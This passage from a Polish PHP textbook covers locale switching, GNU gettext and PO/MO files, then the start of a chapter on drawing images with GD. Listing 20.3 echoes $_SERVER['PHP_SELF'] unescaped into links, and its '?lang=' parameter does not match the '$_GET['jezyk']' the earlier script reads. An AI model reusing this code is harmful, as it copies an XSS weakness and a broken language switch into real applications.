$jezykBiezacy = $_GET['jezyk'];
$_SESSION['jezyk'] = $jezykBiezacy;
}

switch($jezykBiezacy) {
case "en":
define("ZESTAWZNAKOW","ISO-8859-1");
define("KODJEZYKA", "en");
break;

case "ja":
define("ZESTAWZNAKOW","UTF-8");
define("KODJEZYKA", "ja");
break;

case "pl":
define("ZESTAWZNAKOW","UTF-8");
define("KODJEZYKA", "pl");
break;

default:
define("ZESTAWZNAKOW","UTF-8");
define("KODJEZYKA", "pl");
break;
}

header("Content-Type: text/html;charset=".ZESTAWZNAKOW);
header("Content-Language: ".KODJEZYKA);
?>

Jak widać na powyższym listingu, jeśli nie ma żadnej wartości zapisanej w sesji, to domyślnie
wybierane są polskie ustawienia lokalne. Gdyby witryna miała być domyślnie prezentowana w języ-
ku japońskim, to właśnie te ustawienia powinny być wybierane domyślnie. Ten skrypt ma być
używany wraz z kolejnym, przedstawionym na listingu 20.2, który zawiera mechanizm wyboru
ustawień lokalnych pozwalający na zmianę wartości przypisywanej zmiennej $jezykBiezacy
w wierszu 6. powyższego skryptu.

Listing 20.2. jezyki_lancuchy.php — plik z definicjami łańcuchów znaków


<?php
function definiujLancuchy() {
switch($_SESSION['jezyk']) {
case "en":
define("POWITANIE_TXT","Welcome!");
define("WYBOR_TXT","Choose Language");
break;

case "ja":
define("POWITANIE_TXT","ようこそ!");
define("WYBOR_TXT","言語を選択");
434 Część IV  Zaawansowane techniki PHP

break;

case "pl":
define("POWITANIE_TXT","Witamy!");
define("WYBOR_TXT","Wybierz język");
break;

default:
define("POWITANIE_TXT","Witamy!");
define("WYBOR_TXT","Wybierz język");
break;
}
}
?>

Instrukcja switch rozpoczynająca się w wierszu 10. zawiera trzy klauzule case oraz klauzulę
default, których zadaniem jest ustawienie odpowiednich wartości stałych ZESTAWZNAKOW i KODJEZYKA.
W wierszach 32. i 33. stałe te zostają użyte do wygenerowania odpowiednich nagłówków
HTTP: Content-type i Content-language.

W klauzulach case instrukcji switch przedstawionej na powyższym listingu definiowane są dwie


stałe, których wartość zależy od wybranego języka. Stałe te — ZESTAWZNAKOW oraz KODJEZYKA —
odpowiadają zbiorowi znaków i językowi wybranych ustawień lokalnych. Skrypt zaprezentowany
poniżej, na listingu 20.3, używa tych stałych do wygenerowania odpowiednich znaczników META
określających stosowany zestaw znaków oraz kod języka.

Listing 20.2 przedstawia plik zawierający funkcję, która będzie używana przez skrypt z listingu 20.3
w celu przekazania do przeglądarki zlokalizowanych łańcuchów znaków. Podobnie jak w skrypcie
zaprezentowanym na listingu 20.1, także i tu została zastosowana instrukcja switch, definiująca
dwie stałe — POWITANIE_TXT oraz WYBOR_TXT — zawierające odpowiednie łańcuchy znaków, które
zostaną wyświetlone przez kolejny skrypt.

Ostatnim elementem prezentowanego rozwiązania będzie skrypt wyświetlający odpowiednie


łańcuchy znaków w przeglądarce, przedstawiony na listingu 20.3. Ten skrypt rozpoczyna sesję,
tak by mógł odczytać wartości zapamiętane przez skrypt wyboru języka (i ustawione w efekcie
kliknięcia łącza umieszczonego na stronie), a następnie używa ustawionych wcześniej stałych
do wyświetlenia odpowiednich łańcuchów, dopasowanych do wybranego języka.

Listing 20.3. jezyk_wybor.php — skrypt służący do wyświetlania i wyboru języka


<?php
session_start();
include 'jezyk_definicja.php';
include 'jezyk_lancuchy.php';
definiujLancuchy();
?>
<!DOCTYPE html>
<html lang="<?php echo KODJEZYKA; ?>">
<title><?php echo POWITANIE_TXT; ?></title>
<meta charset="<?php echo ZESTAWZNAKOW; ?>" />
<body>
<h1><?php echo POWITANIE_TXT; ?></h1>
<h2><?php echo WYBOR_TXT; ?></h2>
<ul>
<li><a href="<?php echo $_SERVER['PHP_SELF']."?lang=pl"; ?>">pl</a></li>
<li><a href="<?php echo $_SERVER['PHP_SELF']."?lang=en"; ?>">en</a></li>
<li><a href="<?php echo $_SERVER['PHP_SELF']."?lang=ja"; ?>">ja</a></li>
Rozdział 20.  Umiędzynarodawianie i lokalizowanie 435

</ul>
</body>
</html>

Pierwsze wyświetlenie strony wyboru języka (jezyk_wybor.php) da efekty przedstawione na ry-


sunku 20.1; ponieważ użytkownik nie wybrał jeszcze żadnego innego języka, został zastosowany
domyślny język polski.

Rysunek 20.1.
Strona w domyślnym
języku polskim

Jednak po wybraniu innych ustawień lokalnych — na przykład japońskich — na stronie zostaną


wyświetlone zlokalizowane teksty, przedstawione na rysunku 20.2.

Rysunek 20.2.
Po wybraniu
japońskich ustawień
lokalnych zostaną
wyświetlone teksty
w języku japońskim

Zastosowanie funkcji gettext()


w umiędzynarodowionej aplikacji
W poprzednim podrozdziale zostało przedstawione proste podejście do umiędzynarodawiania
i lokalizacji zestawu stron WWW. Bardziej zaawansowane rozwiązanie — nadające się do wyko-
rzystania w dużej witrynie zawierającej wiele treści oraz wchodzącej w rozbudowane interakcje
436 Część IV  Zaawansowane techniki PHP

z użytkownikiem — mogłoby polegać na wykorzystaniu wbudowanej funkcji PHP o nazwie


gettext(), stanowiącej w API PHP warstwę dostępu do pakiet GNU gettext.

Choć stosowanie wbudowanej funkcji gettext() jest, z oczywistych przyczyn, charakterystyczne


jedynie dla PHP, to jednak wiele innych języków także dysponuje wbudowanymi mechanizmami
korzystania z pakietu gettext. Zrozumienie koncepcji działania tego pakietu jest kluczowe dla
zrozumienia sposobów korzystania z niego w celach umiędzynarodawiania i lokalizacji, i to nieza-
leżnie od używanego języka programowania. Najprościej rzecz ujmując, pakiet ten poszukuje
łańcucha znaków o podanym identyfikatorze, skojarzonego z konkretnymi ustawieniami lokalnymi,
a następnie umieszcza ten łańcuch znaków w odpowiednim miejscu — proces ten bardzo przypomi-
na rozwiązanie, które zostało zastosowane w przypadku wyboru łańcuchów znaków kojarzonych
ze stałymi w przykładzie z listingu 20.2, ale działa na większą skalę.

Konfiguracja systemu w celu wykorzystania funkcji gettext()


Konfiguracja PHP pod kątem wykorzystania funkcji gettext() oraz innych funkcji z nią związanych
wymaga zainstalowania pakietu GNU gettext, wprowadzenia zmian w konfiguracji PHP oraz
dostosowania zawartości głównego katalogu serwera WWW do pewnej określonej struktury
plików.

Jeśli do tworzenia oprogramowania lub późniejszego wykonywania aplikacji jest używany system
Linux albo Mac OS X, to pakiet gettext będzie już najprawdopodobniej zainstalowany. Nie
dotyczy to jednak użytkowników systemu Windows. Aby zainstalować GNU gettext w jakimkol-
wiek systemie operacyjnym, należy wyświetlić sekcję „Downloading gettext” w witrynie
http://www.gnu.org/software/gettext/ i pobrać z niej plik przeznaczony dla odpowiedniego systemu
operacyjnego. Po zainstalowaniu pakietu GNU gettext należy skonfigurować PHP, tak by go
rozpoznało i umożliwiło korzystanie z niego.

Po zainstalowaniu pakietu GNU gettext na serwerze WWW, aby włączyć funkcję gettext()
i inne powiązane z nią funkcje w PHP w systemie Linux lub Mac OS X, należy zmienić konfi-
gurację PHP i ponownie je skompilować. W przypadku systemu Windows wystarczy włączyć już
skompilowane rozszerzenie. W celu skonfigurowania PHP w systemach Linux i Mac OS X należy
dodać następującą flagę:
--with-gettext

Po jej dodaniu należy ponownie skompilować i zainstalować PHP w standardowy sposób. Trzeba
także pamiętać o ponownym uruchomieniu serwera Apache po zainstalowaniu nowego mo-
dułu PHP.

W systemie Windows wystarczy otworzyć w edytorze plik konfiguracyjny php.ini i włączyć


bibliotekę php_gettext.dll, usuwając komentarz umieszczony na początku poniższego wiersza kodu:
;extension=php_gettext.dll

Także w tym przypadku, po dokonaniu zmiany i zapisaniu pliku, konieczne będzie ponowne uru-
chomienie serwera Apache. Po wprowadzeniu powyższych modyfikacji w wynikach generowanych
przez funkcję phpinfo() powinna być prezentowana sekcja informująca o włączeniu wsparcia dla
pakietu GNU gettext.

Po włączeniu wsparcia dla pakietu GNU gettext następną niezbędną modyfikacją będzie utworzenie
w katalogu głównym serwera podkatalogów dla treści powiązanych z konkretnymi ustawieniami
lokalnymi. W pierwszej kolejności w katalogu głównym serwera trzeba będzie utworzyć katalog;
znajdą się w nim katalogi dla poszczególnych ustawień lokalnych (wszystkich, które mają być
obsługiwane).
Rozdział 20.  Umiędzynarodawianie i lokalizowanie 437

Wewnątrz tego katalogu nadrzędnego należy utworzyć katalogi dla poszczególnych ustawień
lokalnych — nazwa każdego z nich musi się składać z dwuliterowego skrótu języka, zgodnego
ze specyfikacją ISO-639-1 i zapisanego małymi literami (na przykład „en”, „pl”, „ja”) oraz
znaku podkreślenia, a także zapisanego wielkimi literami dwuliterowego kodu kraju, zgodnego
z ISO-3166-1 (na przykład „US”, „PL”, „JP”). W każdym z tych podkatalogów należy z kolei
utworzyć kolejny katalog, o nazwie LC_MESSAGES.

A zatem aby witryna obsługiwała trzy ustawienia lokalne, używając do tego pakietu GNU gettext
i funkcji PHP gettext(), trzeba będzie utworzyć strukturę katalogów o następującej postaci:
/htdocs
/locale
/pl_PL
/LC_MESSAGES
/en_US
/LC_MESSAGES
/ja_JP
/LC_MESSAGES

W kolejnym punkcie rozdziału zostały zamieszczone informacje o plikach, które należy umieścić
w takiej strukturze plików; nie są to bowiem pliki PHP, lecz raczej pliki zawierające przetłumaczone
łańcuchy znaków, które mają być używane w zlokalizowanej witrynie.

Tworzenie plików z tłumaczeniami


Pliki tłumaczeń umieszczane w opisanej wcześniej strukturze plików i używane przez pakiet GNU
gettext to specjalne pliki nazywane przenośnymi obiektami — Portable Object, w skrócie: PO.
Są to zwyczajne pliki tekstowe z rozszerzeniem .po. Choć do ich tworzenia nie jest potrzebny
żaden specjalny edytor — w końcu są to zwyczajne pliki tekstowe — to jednak wiele osób
uważa, że zastosowanie edytora lub systemu do zarządzania treścią znacząco zmniejsza nakład
pracy konieczny do utrzymania tych plików (wliczając w to współpracę z tłumaczami oraz autorami
treści).

Do tworzenia plików ze zlokalizowanymi treściami i zarządzania nimi warto używać narzędzi


takich jak Poedit (https://poedit.net/) lub POEditor (https://poeditor.com/), jak na razie jednak
przedstawiony zostanie jedynie bardzo prosty przykład pliku PO wpisanego w formie zwyczajne-
go tekstu. Dla każdych ustawień lokalnych konieczne będzie przygotowanie jednego pliku PO,
przy czym każdy z nich musi mieć nazwę messages.po.

Pliki PO rozpoczynają się od nagłówka informacyjnego, po którym umieszczane są parami iden-


tyfikator komunikatu znaków oraz treść komunikatu. Przykładowy plik PO zamieszczony na
listingu 20.4 przedstawia sposób zdefiniowania dwóch łańcuchów znaków dla ustawień lokal-
nych en_US.

Listing 20.4. messages.po — plik PO dla ustawień lokalnych en_US


# required empty msgid & msgstr
msgid ""
msgstr ""

"Project-Id-Version: 0.2\n"
"POT-Creation-Date: 2016-11-20 14:00+0500\n"
"Last-Translator: Jan Kowalski <jan_ko@jakaswitryna.com.pl\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Language: en_US\n"
438 Część IV  Zaawansowane techniki PHP

# komunikat powitalny
msgid "POWITANIE_MSG"
msgstr "Welcome!"

# instrukcja wyboru języka


msgid "WYBOR_MSG"
msgstr "Choose Language"

Plik PO rozpoczyna się od pustego identyfikatora komunikatu (msgid) oraz pustego łańcucha
komunikatu (msgstr). Poniżej podawane są informacje o samym pliku oraz jego twórcy: powyższy
plik ma numer wersji 0.2, został stworzony 20 listopada 2016 roku przez Jana Kowalskiego,
zapisano go z użyciem kodowania UTF-8 i jest przeznaczony dla ustawień lokalnych en_US.

Poniżej tych informacji są umieszczone komunikaty i ich tłumaczenia. W powyższym przykładzie


zdefiniowane zostały dwa komunikaty, identyfikowane przez klucze POWITANIE_MSG oraz WYBOR_MSG.
Te klucze bardzo przypominają stałe zastosowane w rozwiązaniu przedstawionym we wcześniej-
szej części rozdziału, mają jednak nieco inne nazwy, aby nie można było pomylić obu przykładów.
Poniżej klucza komunikatu podawany jest jego łańcuch, który zostanie umieszczony w miejscu
wystąpienia klucza. W powyższym przykładzie poszczególne pary zostały także opisane przy
wykorzystaniu komentarzy, a pomiędzy nimi został umieszczony jeden pusty wiersz.

Zaprezentowane rozwiązanie wydaje się proste i faktycznie takie jest, niemniej jednak two-
rzenie i utrzymywanie plików PO cechuje ukryta złożoność — jest nią bardzo długa lista do-
stępnych opcji, takich jak te podane na stronie specyfikacji, znajdującej się pod adresem
http://www.gnu.org/software/gettext/manual/gettext.html#PO-Files.

Zapoznanie się ze specyfikacją pakietu GNU gettext jest zalecane, podobnie zresztą jak używanie
specjalnych edytorów plików PO, gdyż istnieje jeszcze jedna niezbędna czynność, którą te pro-
gramy mogą za nas wykonać: skonwertowanie plików PO na specjalne pliki MO. „MO” to akronim
pochodzący od słów „Machine Object” — są to pliki zawierające obiekty binarne, które w efekcie są
czytane i używane przez pakiet gettext. Pliki PO, choć łatwe do tworzenia i zarządzania przez
ludzi, nie są jednak stosowane bezpośrednio przez pakiet gettext, który zamiast nich używa właśnie
plików MO.

Dysponując pakietem gettext oraz powiązanymi z nim narzędziami zainstalowanymi na kompute-


rze, pliki PO można skonwertować na pliki MO przy użyciu specjalnego programu narzędziowego.
W systemie Linux można to wykonać, stosując następujące polecenie:
msgfmt messages.po -o messages.mo

Powyższe plecenie utworzy plik MO o nazwie messages.mo na podstawie pliku PO o nazwie


messages.po. Teraz będzie można już wykorzystać efekty wszystkich zabiegów wykonanych
w kodzie PHP.

Implementacja zlokalizowanych treści w PHP


z użyciem funkcji gettext()
Po zapoznaniu się z wyjaśnieniami dotyczącymi instalacji pakietu GNU gettext sposób wykorzy-
stania jego możliwości w PHP może się wydawać rozczarowujący. Implementacja zastosowania
zlokalizowanych treści w kodzie PHP składa się z pięciu następujących czynności:
 Użycia funkcji putenv() w celu zapisania wybranych ustawień lokalnych w zmiennej
środowiskowej LC_ALL.
 Wywołania funkcji setlocale() w celu podania używanych ustawień lokalnych.
Rozdział 20.  Umiędzynarodawianie i lokalizowanie 439

 Wywołania funkcji bindtextdomain() w celu określenia lokalizacji katalogu


z tłumaczeniami dla danej domeny (przy czym w tym przypadku „domena” to nazwa
identyfikująca pliki zawierające łańcuchy komunikatów, a nie domena taka jak
www.mojadomena.com.pl).
 Wywołania funkcji textdomain() w celu ustawienia domyślnej domeny, która będzie
używana przez funkcję gettext().
 Wywołania funkcji gettext("klucz_komunikatu") lub _("klucz_komunikatu") w celu
pobrania odpowiedniego tłumaczenia dla podanego identyfikatora.

Po zebraniu tych wszystkich operacji można uzyskać skrypt podobny do tego przedstawionego
na listingu 20.5.

Listing 20.5. uzycie_gettext.php — odczyt plików MO w skrypcie PHP


<?php
$locale="en_US";
putenv("LC_ALL=".$locale);
setlocale(LC_ALL, $locale);

$domain='messages';
bindtextdomain($domain, "./locale");
bind_textdomain_codeset($domain, 'UTF-8');
textdomain($domain);
?>
<!DOCTYPE html>
<html>
<head>
<title><?php echo gettext("POWITANIE_MSG"); ?></title>
</head>
<body>
<h1><?php echo gettext("POWITANIE_MSG"); ?></h1>
<h2><?php echo gettext("WYBOR_MSG"); ?></h2>
<ul>
<li><a href="<?php echo $_SERVER['PHP_SELF']."?locale=pl_PL"; ?>">pl_PL</a></li>
<li><a href="<?php echo $_SERVER['PHP_SELF']."?locale=en_US"; ?>">en_US</a></li>
<li><a href="<?php echo $_SERVER['PHP_SELF']."?locale=ja_JP"; ?>">ja_JP</a></li>
</ul>
</body>
</html>

Kiedy już opanujemy podstawy umiędzynarodawiania i lokalizowania aplikacji i konieczne będzie


napisanie aplikacji, która będzie wykorzystywana przez osoby używające wielu różnych języków,
do tworzenia plików PO i zarządzania nimi warto będzie zastosować jakiś framework współpra-
cujący z pakietem GNU gettext oraz społecznościową usługę ułatwiającą nawiązywanie kontaktów
z tłumaczami (chyba że mamy dostęp do wielu rodzimych użytkowników odpowiednich języków
bądź dostatecznie dużo pieniędzy, by zapłacić za tłumaczenie).

Propozycje dalszej lektury


Umiędzynarodawianie i lokalizacja to złożone zagadnienia, a w tym rozdziale zostały omówione
jedynie ich podstawy. Na przykład nie wspomniano tu o sposobach lokalizowania liczb, dat oraz
walut w skryptach PHP, choć wszystkie operacje z tym związane można wykonywać przy użyciu
wbudowanych funkcji, takich jak strftime() do obsług godzin, bądź też przy wykorzystaniu wbu-
dowanych możliwości w formie klas pomocniczych lub funkcji spełniających nasze oczekiwania
440 Część IV  Zaawansowane techniki PHP

i potrzeby. Można także skorzystać z frameworków PHP i sprawdzić, na ile okażą się użyteczne
w przypadku konkretnego projektu albo w jaki sposób ich twórcy zaimplementowali potrzebne
możliwości. Doskonałe przykłady można znaleźć w witrynach Zend Framework (https://
framework.zend.com/manual/2.4/en/modules/zend.i18n.translating.html) oraz Symfony (http://symfony.
com/doc/current/book/translation.html).

W następnym rozdziale
Jednym z bardzo użytecznych zastosowań PHP jest generowanie obrazków „w locie”. Rozdział 21.,
„Generowanie obrazków”, opisuje, jak można używać funkcji bibliotek graficznych do uzyskiwania
interesujących i przydatnych efektów.
Rozdział 21.
Generowanie obrazków
Do najbardziej użytecznych własności PHP należy możliwość tworzenia obrazków „w locie”. PHP
posiada pewne wbudowane funkcje informacyjne obrazka; można również zastosować bibliotekę
GD do tworzenia nowych obrazków i manipulacji już istniejącymi. W rozdziale tym opisujemy
metody stosowania funkcji obrazka w celu osiągnięcia interesujących i przydatnych efektów.

W tym rozdziale zostaną poruszone następujące zagadnienia:


 konfigurowanie obsługi obrazków w PHP,
 pojęcia formatów obrazków,
 tworzenie obrazków,
 używanie obrazków wygenerowanych automatycznie na innych stronach,
 stosowanie tekstu i czcionek do tworzenia obrazków,
 rysowanie figur i wykresów danych.

Przedstawimy dwa przykłady — tworzenie „w locie” przycisków na stronie WWW oraz rysowanie
wykresu słupkowego na podstawie danych z bazy danych MySQL.

W tym rozdziale używana będzie biblioteka GD2, lecz istnieje także jeszcze jedna popularna biblio-
teka obrazków PHP, o nazwie ImageMagick (http://www.imagemagick.org). W bibliotece PECL
— PHP Extension Class Library — znajduje się też klasa udostępniająca jej możliwości funkcjonal-
ne w formie obiektowej: http://pecl.php.net/package/imagick. ImageMagick i GD2 oferują wiele
podobnych mechanizmów, lecz w niektórych obszarach ImageMagick posiada większe możliwości.
Na przykład ImageMagick pozwala na tworzenie animowanych obrazków GIF. Jeśli jednak zajdzie
konieczność pracy z obrazkami w kolorach rzeczywistych lub renderowania efektów przezroczy-
stości, należy najpierw porównać możliwości obu wspomnianych bibliotek.

Konfigurowanie obsługi obrazków w PHP


Niektóre funkcje obsługi obrazków są w PHP zawsze dostępne, jednak większość z nich wymaga
obecności biblioteki GD2, która jest dołączana do PHP, lecz nie jest domyślnie włączona. Szczegó-
łowe informacje na jej temat można znaleźć w dodatku A, „Instalowanie Apache, PHP i MySQL”,
ale poniżej zamieściliśmy kilka uwag przeznaczonych dla użytkowników systemów Windows i Unix.

W systemie Windows obrazki PNG i JPEG są obsługiwane automatycznie, jeżeli tylko zarejestro-
wano rozszerzenie php_gd2.dll. Aby zarejestrować rozszerzenie, można skopiować plik php_gd2.dll
z katalogu instalacyjnego PHP do katalogu systemowego. Dodatkowo w pliku konfiguracyjnym
php.ini należy usunąć znak komentarza z początku wiersza:
extension=php_gd2.dll
442 Część IV  Zaawansowane techniki PHP

Aby móc wykorzystywać obrazki PNG w systemie Unix, trzeba będzie zainstalować libpng oraz zlib,
dostępne, odpowiednio, pod adresami:
http://www.libpng.org/pub/png/libpng.html
http://www.zip.net/

A w dalszej kolejności skonfigurować PHP z następującymi opcjami:


--with-png-dir=/sciezka/do/libpng
--with-zlib-dir=/sciezka/do/zlib

Aby w systemie Unix współpracować z plikami JPEG, należy pobrać bibliotekę ze strony http://www.
ijg.org/ i zmienić konfigurację PHP za pomocą opcji:
--with-jpeg-dir=sciezka/do/jpeg-6b

po czym dokonać ponownej kompilacji.

Na końcu trzeba oczywiście skonfigurować PHP, używając opcji --with-gd.

Formaty obrazków
Biblioteka GD obsługuje formaty JPEG, PNG, GIF i inne. Więcej informacji na jej temat można
uzyskać na stronie http://libgd.github.io/. W kilku następnych punktach rozdziału przyjrzymy
się wybranym formatom obrazów.

JPEG
JPEG (wymawiane „jot-peg”) znaczy właściwie Joint Photographic Experts Group (połączona grupa
ekspertów fotograficznych) i jest nazwą grupy tworzącej standardy, a nie samego formatu graficznego.
Format plików opisywany jako JPEG w istocie oficjalnie nazywa się JFIF, co odpowiada jednemu
ze standardów stworzonych przez grupę JPEG.

Pliki JPEG są zazwyczaj stosowane do przechowywania zdjęć lub innych obrazków o wielu kolorach
lub stopniach koloru. W formacie tym jest zastosowana kompresja stratna, to znaczy zmniejszenie
wielkości pliku zdjęcia odbywa się kosztem jakości obrazka. Ponieważ pliki JPEG powinny zawierać
głównie obrazki analogowe, ze stopniowaniem kolorów, oko ludzkie może tolerować pewną utratę
jakości. Format ten nie nadaje się do rysunków liniowych, tekstu i dużych jednokolorowych bloków.

Więcej informacji na temat formatu JPEG/JFIF jest dostępnych na oficjalnej witrynie JPEG:
http://www.jpeg.org/

PNG
PNG (wymawiane „ping”) oznacza Portable Network Graphics (przenośna grafika sieciowa). Format
ten stał się następcą formatu GIF (ang. Graphics Interchange Format — format wymiany grafiki)
z powodów, które omówimy w dalszej części tego rozdziału. Witryna WWW poświęcona PNG
opisywała go kiedyś jako „superwydajny format obrazków z kompresją bezstratną”. Z powodu
bezstratnej kompresji ten format obrazków jest odpowiedni dla obrazków zawierających tekst,
linie proste i proste bloki kolorów, takie jak nagłówki i przyciski na stronach WWW — są to te
same właściwości, dla których wcześniej stosowano format GIF. Format ten charakteryzuje się
lepszą kompresją niż GIF oraz zmienną przezroczystością, korekcją gamma i dwuwymiarowym
przeplotem.
Rozdział 21.  Generowanie obrazków 443

Więcej informacji na temat PNG jest dostępnych na oficjalnej witrynie PNG:


http://www.libpng.org/pub/png/libpng.html

GIF
GIF oznacza Graphics Interchange Format (format wymiany grafiki). Jest to format szeroko stoso-
wany w sieci WWW, z zastosowaniem kompresji bezstratnej, używany do przechowywania obraz-
ków zawierających tekst, linie proste lub bloki jednokolorowe.

Format GIF korzysta z palety 256 unikatowych kolorów z 24-bitowej przestrzeni kolorów RGB.
Obsługuje on także animacje i pozwala na wykorzystanie w każdej ramce animacji palety 256
kolorów. Ograniczona liczba kolorów sprawia, że GIF nie nadaje się do reprodukcji fotografii ani
innych obrazków z ciągłością kolorów, natomiast doskonale się sprawdza w przypadku prostszych
obrazków, takich jak grafiki czy logo z obszarami o jednolitej barwie.

Obrazki GIF są kompresowane za pomocą bezstratnej techniki kompresji LZW, która zmniejsza
rozmiar pliku bez utraty jego wizualnej jakości.

Tworzenie obrazków
Tworzenie rysunków w PHP składa się z czterech etapów:
1. Utworzenie kadru, w którym będzie umieszczony obrazek.
2. Rysowanie kształtów lub umieszczanie tekstu w tym kadrze.
3. Wyświetlanie ostatecznego wyniku.
4. Zwalnianie zasobów.

Na początku przedstawimy bardzo prosty przykład skryptu tworzącego obrazek (zobacz listing 21.1).

Listing 21.1. prostywykres.php — wyświetla prosty wykres liniowy z etykietą Sprzedaż


<?php
// konfiguracja obrazka
$wysokosc=200;
$szerokosc=200;
$ob = imagecreatetruecolor($szerokosc, $wysokosc);
$bialy = imagecolorallocate($ob, 255, 255, 255);
$niebieski = imagecolorallocate($ob, 0, 0, 255);

// rysowanie obrazka
imagefill($ob, 0, 0, $niebieski);
imageline($ob, 0, 0, $szerokosc, $wysokosc, $bialy);
imagestring($ob, 4, 50, 150, 'Sprzedaż', $bialy);

// wyświetlenie obrazka
header('Content-type: image/png');
imagepng($ob);

// porządki
imagedestroy($ob);
?>

Wynik uruchomienia powyższego skryptu jest przedstawiony na rysunku 21.1.


444 Część IV  Zaawansowane techniki PHP

Rysunek 21.1.
Skrypt tworzy
niebieskie tło,
po czym dodaje linię
i etykietę tekstową

Poniżej zostały kolejno opisane wszystkie etapy tworzenia tego rysunku.

Tworzenie kadru obrazka


Aby rozpocząć tworzenie lub modyfikację obrazka w PHP, należy utworzyć jego identyfikator.
Można to wykonać na dwa podstawowe sposoby. Pierwszym z nich jest stworzenie pustego kadru,
na przykład poprzez wywołanie funkcji imagecreatetruecolor(). W powyższym skrypcie zostało
to wykonane w następujący sposób:
$ob = imagecreatetruecolor($szerokosc, $wysokosc);

Funkcji imagecreatetruecolor() należy przekazać dwa parametry. Pierwszym z nich jest szero-
kość nowego obrazka, a drugi to jego wysokość. Funkcja ta zwraca identyfikator nowego obrazka.
Identyfikatory te działają podobnie jak uchwyty plików.
Alternatywnym sposobem jest odczytanie istniejącego pliku obrazka, który można następnie filtro-
wać, zmieniać jego wielkość oraz dodawać do niego elementy. Można to uczynić za pomocą jednej
z następujących funkcji: imagecreatefrompng(), imagecreatefromjpeg() lub imagecreatefromgif(),
zależnie od formatu odczytywanego pliku. Każda z tych funkcji pobiera jako parametr nazwę pliku,
na przykład:
$ob = imagecreatefrompng('podstawowyobrazek.png');

W przykładzie przedstawionym w dalszej części tego rozdziału skorzystano z istniejących obraz-


ków, by stworzyć „w locie” przyciski.

Rysowanie lub umieszczanie tekstu w obrazku


Istnieją właściwie dwa etapy rysowania lub umieszczania tekstu w obrazku. Przede wszystkim
należy wybrać kolory, które zostaną zastosowane do rysowania. Jak wiadomo, kolory wyświe-
tlane na monitorze komputera składają się z różnych ilości czerwonego, zielonego i niebieskiego
światła. W formatach obrazków korzysta się z palety barw złożonej z określonego podzbioru wszyst-
kich możliwych kombinacji tych trzech kolorów. Aby zastosować kolor do narysowania obrazka,
należy dodać go do jego palety. Czynność tę trzeba wykonać dla każdego koloru, nawet dla czar-
nego i białego.
Rozdział 21.  Generowanie obrazków 445

Kolory obrazka można wybrać poprzez wywołanie funkcji imagecolorallocate(). Należy prze-
kazać jej identyfikator obrazka oraz wartości składników czerwonego, zielonego i niebieskiego
koloru (RGB — red green blue), który ma zostać użyty.
Na listingu 21.1 przedstawiono zastosowanie dwu kolorów — niebieskiego i białego, zdefiniowa-
nych przez wywołanie:
$bialy = imagecolorallocate($ob, 255, 255, 255);
$niebieski = imagecolorallocate($ob, 0, 0, 255);

Funkcja zwraca identyfikator koloru, który może zostać zastosowany do późniejszego dostępu do
tego koloru.
Następnie należy zastosować jedną z wielu funkcji umożliwiających rysowanie w obrazku, zależnie
od tego, co ma zostać narysowane — linie, obszary, wielokąty czy też tekst.
Funkcje rysujące ogólnie wymagają następujących wartości jako parametrów:
 identyfikatora obrazka,
 współrzędnych początku i czasami końca elementu, który ma zostać narysowany,
 koloru rysowania,
 w przypadku tekstu informacji o czcionce.

W powyższym przykładzie zastosowano trzy funkcje rysujące. Poniżej jest opisana każda z nich.
Ważną informacją jest to, że utworzono niebieskie tło rysowania za pomocą funkcji imagefill():
imagefill($ob, 0, 0, $niebieski);

Funkcja ta pobiera jako parametry identyfikator obrazka, początkowe współrzędne obszaru rysowa-
nia (x i y) oraz kolor wypełnienia.
Współrzędne obrazka rozpoczynają się od lewego górnego rogu, który posiada współrzędne
x=0 i y=0. Prawy dolny róg obrazka to x=$szerokosc, y=$wysokosc. W grafice komputerowej
jest to standardowe podejście, lecz w konwencjach grafiki matematycznej stosuje się podejście
odwrotne, o czym trzeba zawsze pamiętać!

Następnie zostaje narysowana linia od lewego górnego rogu (0, 0) do prawego dolnego rogu
($szerokosc, $wysokosc) obrazka:
imageline($ob, 0, 0, $szerokosc, $wysokosc, $bialy);

Funkcja ta pobiera jako parametr identyfikator obrazka, punkt początkowy x i y linii, punkt końcowy
oraz kolor.
Ostatecznie do wykresu zostaje dodana etykieta:
imagestring($ob, 4, 50, 150, 'Sprzedaż', $bialy);

Funkcja imagestring()1 pobiera nieco inne parametry. Jej prototyp jest następujący:
int imagestring(int ob, int czcionka, int x, int y, string tekst, int kolor)

1
Trzeba pamiętać, że prezentowana tu funkcja imagestring() nie obsługuje zbioru znaków UTF-8, który obecnie
jest najczęściej stosowany. Jeśli zatem nasze strony lub skrypty są pisane z wykorzystaniem tego sposobu kodowania,
to do wyświetlania łańcuchów znaków na generowanych obrazkach konieczne będzie zastosowanie funkcji
imagettftext(), która potrafi obsługiwać UTF-8. Więcej informacji na ten temat można znaleźć w dokumentacji PHP
dostępnej na stronie http://php.net/manual/en/function.imagettftext.php.
446 Część IV  Zaawansowane techniki PHP

Pobiera ona jako parametry identyfikator obrazka, czcionkę, współrzędne początku zapisu tekstu
x i y, tekst oraz kolor.

Czcionka jest przedstawiona jako liczba od 1 do 5. Liczby te reprezentują zbiór wbudowanych


czcionek. Jego alternatywą są czcionki TrueType i PostScript Type 1. Każdy z tych zbiorów posiada
odpowiadający mu zbiór funkcji. Czcionki TrueType zostaną zastosowane w następnym przykładzie.

Dobrym powodem stosowania jednego z alternatywnych zbiorów funkcji jest to, że tekst wpisany
za pomocą funkcji imagestring() i funkcji z nią związanych, takich jak imagechar() (zapisuje
w obrazku znak), nie posiada wygładzonych konturów. Funkcje TrueType i PostScript tworzą tekst
o wyrównanych krawędziach (ang. anti-aliasing).

Aby upewnić się co do różnic pomiędzy tymi dwoma typami zapisu, warto spojrzeć na rysunek 21.2.
W miejscach występowania w literach linii zakrzywionych tekst bez anti-aliasingu wydaje się poszar-
pany. Krzywa lub kąt są uzyskane poprzez efekt „schodków”. W obrazku z anti-aliasingiem krzywe
i kąty zostają wygładzone poprzez umieszczenie dodatkowych pikseli o kolorach pośrednich między
tłem a tekstem.

Rysunek 21.2.
Zwykły tekst sprawia wrażenie
nierównego, zwłaszcza jeśli jest
napisany czcionką o dużej wielkości.
Anti-aliasing wygładza krzywe i kąty
w literach

Wyświetlanie ostatecznej grafiki


Obrazek może być wyświetlony bezpośrednio w przeglądarce lub też zapisany w pliku.

W naszym przykładzie obrazek został wyświetlony w przeglądarce. Jest to proces dwustopniowy.


Przede wszystkim należy przekazać przeglądarce WWW informację, że zostanie wyświetlony obra-
zek, a nie tekst lub kod HTML. Można to wykonać za pomocą funkcji header(), w której istnieje
możliwość określenia typu obrazka w kodzie MIME:
